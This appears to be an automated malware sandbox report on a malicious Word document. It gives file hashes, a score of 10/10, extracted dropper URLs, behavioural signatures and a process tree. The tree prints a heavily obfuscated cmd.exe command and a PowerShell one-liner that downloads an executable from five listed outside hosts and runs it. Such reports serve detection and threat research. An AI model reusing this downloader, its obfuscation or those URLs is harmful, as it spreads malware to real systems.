Analysis
-
max time kernel
22s -
max time network
23s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
11-11-2020 21:32
General
-
Target
14ab848a21e4370cbecb5bce9b9233d37aa0d9a02dd7e3aa32fb1ccdf052b07c.doc
-
Size
82KB
-
MD5
d8cf142293ff0dda1cc5bc5d40804b97
-
SHA1
beacebcca4ba412437b0c6f3c35ec63d0d90b3bd
-
SHA256
14ab848a21e4370cbecb5bce9b9233d37aa0d9a02dd7e3aa32fb1ccdf052b07c
-
SHA512
a2bd79e9ea9760402536d20bf18e64486e54450fd0b9ce0d99ee26000acfd2abcfa1197de2ddc0cd352a8d4c8095e9604d713c55f6bb78cccf320faacf1b9ca8
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://www.lt3.com.br/4P
exe.dropper
http://licanten.tk/Tgpc38X
exe.dropper
http://www.cainfirley.com/xzd8um
exe.dropper
http://www.kanarya.com.tr/SU
exe.dropper
http://www.goldschmittestans.ch/wtqNM
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blacklisted process makes network request 3 IoCs
-
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\14ab848a21e4370cbecb5bce9b9233d37aa0d9a02dd7e3aa32fb1ccdf052b07c.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /V/C"^s^e^t ^3^H^W=^M^y^q^ ^]V^-^ ^S^o/^ ^eF^o^ ^,^j^f^ ^X^Y^J^ ^4^M/^ ^jT^>^ /W^A^ ^5^3^D^ ^b^M^}^ ^I^qt^ ^.G^L^ ^u^e^#^ `I ^ ^sq.^ ^j)^Z^ ^A^z^P^}v^|N^}^D^M^9^{^b^l^w^h^[R^3cI^7^8^t^tu^m^a^|g^qc)^$r^}^j^2^J;;^w5^k^a^&^6^aN^M^_^ex^5^Lr^<^O2^b^>^k^t;^~^*(^W'^K^Q^a^~^O^}p)^g^-^$^;^[^P^ ^+^}^H^m^3r^O^ec^7^e^t^A^#^t^I^k^W^u^-^5^z)^e^[^e^i^k^b^S^>o^7rwv{^ ^jn^@(^5^I^1^X(^;P^2C)^6^-^o^W^ %^o^a^y^[^9^p^Z^~^;^$^T^A/^ I^:^'^,^D^]^4^Q^w^{^|^i^1^7^J^L^.^*^}^$?R^z(^4^a^8^eq^x^a^lR^W^0^i^d^Q^l^F^H^?^ ^d^&N^p^ah^q^E^o^0^yE^l(^#^Ln:^Q^P^w/^0^q^o^]()^D^+^2^f^.^0^+^d^k^ ^<)^T^9^2)^s^t^_^I^$^S^4^z^{^B^*^e^y^}^X^Yr^|C^E^t{^k^[^{^L^5^e)J^|^\^b^h^K^S^Av^F^<^o^A^3^i^$^h(^P ^U^H^;n^6(^F^i^8^a^S^ ;^E^y^Q^#^s^=^i^6^@^A^L^k^e^j^$1^+^#(^`nV^hr^[^pc^W^&D^a^F^,N^e^9^1^wr^$^]^+^o^&a7^f^`V^$^;^E^s^~'^Z^l^I^e^L^;^q^x^s^I^&^e^8^@^{^.^H^x^s^'^<^Fr^+^f^?Q^w^f^~^,^k^G^T^I^z^1^e^[^$^hV^:^+^Q^z^y^'n^t^@^\^*-^}^'/^E^O^+^+^z^Gcv^~^T^i^#^>^D^l^3^m^y^b^8^In^uNVn^p^5^M^t^:^P^W^ v^ ^B^,n^>^d^Fe^S^P^z^$$^:^#^=^,^gcW^=R^B^a^[^O^1p^h^.^;^$^+`^u^;^'^`^l'^LR^[^6v^g^+9^Q^g^k^4)^B^m^'^s^2^ ^ ^W%^.=^}^I^H^ ~^Q^L^wS9^yk^L^`^.z^t^o/^$^1/^t^;^4^q^x)^{^d^7^'^}^:^?^@^Y^-^h^'^e^Z^W(^ ^Or^t^E^b^7^i^[C^0^l^3^.n^p^T^:^D^S^T^\^Z^.n^x^8^'^ ^8^w^M^,^ihN^h^ ^]^q^Q^&^~^t^5^A^Bw^p^X^]/^g^9^K^hR^ xc^Y^=^@^.^w^T^]^s^2^7^]n^8^[^6^aC^7^T^t^o^S^[s^u^x^T^e^g^Ep^t^p^,/^t@r-^ir^S^ m^9^{^O^h^<^W^@c]U^D^sr^1^;^d^&^K^p^lNC^I^o^~N^F^g^-^z/.v^A^\^w^-^#^G^w^M^Sxw^3C(/^h^1^7/^G^6^+^:^-^j^xp^>^Ja^t^D^@^}^t^s^|^&^h^X^|^1@c7^}^Ur^&^@^S^Bc^\/^Z;^|rc^g^>^t^L^i^,^.^k^|^d^m^{N/^o^z^j^5cv^.^U^.^4^I^*^a^$^O^]y^W^@^6r^X^Q^O^a^{^X^Sn^D^Y^[^a^l^w^A^k^M^m^H^.^6^#r^w^~^.^S^w^=^&^hw#^en//^Q^8/)$^8^:$^z^Qp^GC^.^t^e^h^k^t^B^i^t^h^ c(^@)^A^D^mI^G^h^u^<^_^l^8^i^w^W^d^P^<(^z^;^g^=^x^`^t^I/(^x^S^m^ig^w^o^6^J^3c^<^l^#^.$^[c^yt^<^W^eR=^A^l^w^{^`r^}v%^i)^a/^f^<^M^Ln^Ph^B^i^?^W^&^a^Z^q^Yc^A%^i^.^-^q^h^wm^t^A^w^a^}^-^w^;^t^,/cn^T/^m^Q^:^:^ ^4^]^p^+^ ^B^t^l^w^Y^t^<^mR^h^O^e^Y@^f^Y^~^X^DJ^m^8^I^o^Z^3F^\^@c^F^<^D^p^1Dv^g^'^+^8^Ty^=//n^a^d^k^f^|^0^t^h^'^L^.^a^I^8nh^#^U^e^+^Y^|^t^o^Bcn0^o^K^a^H^M^=c^f^O^[^i^x^?^3l^X^B^l/^w^=^M/^E/^m^:)M^G^p/^>^k^t^>N^z^t%^;^s^h^{^:^$^@^$^EN^P^en/^4^oR^j/[^E^yr^{^T^Yb^T^\^;^.^A^?J^m^Ik^\^oCZ^_cc^ ^q^.n^G^6^3^_V^]^t^<^2^m^l^Y^7N^.^O^Fq^w9^Q^3^w^<^_^X^w^:^3^@/^+^\n/^`^I^ ^:^4^?^h^p^S^u^?^t^H^6^;^t^ ^_^G^hC^L^{^'^_^|r^=^$^#^Y^b^o^H^t^A^`^y^D^o^M^X^E^$E^K^M^;^~^L^[^tn^3^yn^5^b/^e^m^y^;^i=^1Q^l^0^?^_Cr^FC^b^F^]/^e)^b^Z^W^{^J%^.^,^h(^t^5^,^6^e^7e^oN^@^G^9^ CY^9^t^I^0^<c^O^e^}^e^bm^H^j^_^.^9^bm^~^:^o^ ^3^l^-c^Bnw%^IC^e^D^5^Tn^`R^{^=^4-^x^k^E^U^\^T^GCR^s^_^qn^$^o^g^f^ ^YNCl^4^I:^lC^.0^e^p^'^.^h^`^h^S^s^~^A^`r^M^p^T^e^\^D^d^w^B^]^4^o^K^1^w^p&&^for /^L %C ^in (^1^4^4^7^;^-^4^;^3)^d^o ^s^e^t ^kN^I^Z=!^kN^I^Z!!^3^H^W:~%C,1!&&^i^f %C ^l^e^q ^3 c^a^l^l %^kN^I^Z:^*^kN^I^Z^!^=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $sTk=new-object Net.WebClient;$oAb='http://www.lt3.com.br/4P@http://licanten.tk/Tgpc38X@http://www.cainfirley.com/xzd8um@http://www.kanarya.com.tr/SU@http://www.goldschmittestans.ch/wtqNM'.Split('@');$zkw = '496';$paW=$env:public+'\'+$zkw+'.exe';foreach($LiQ in $oAb){try{$sTk.DownloadFile($LiQ, $paW);Invoke-Item $paW;break;}catch{}}3⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/648-0-0x000002D11DCA0000-0x000002D11E2D7000-memory.dmpFilesize
6.2MB
-
memory/648-3-0x000002D11E755000-0x000002D11E766000-memory.dmpFilesize
68KB
-
memory/1372-7-0x0000000000000000-mapping.dmp
-
memory/1372-8-0x00007FF912C20000-0x00007FF91360C000-memory.dmpFilesize
9.9MB
-
memory/1372-9-0x00000249EB490000-0x00000249EB491000-memory.dmpFilesize
4KB
-
memory/1372-10-0x00000249EB540000-0x00000249EB541000-memory.dmpFilesize
4KB
-
memory/3176-6-0x0000000000000000-mapping.dmp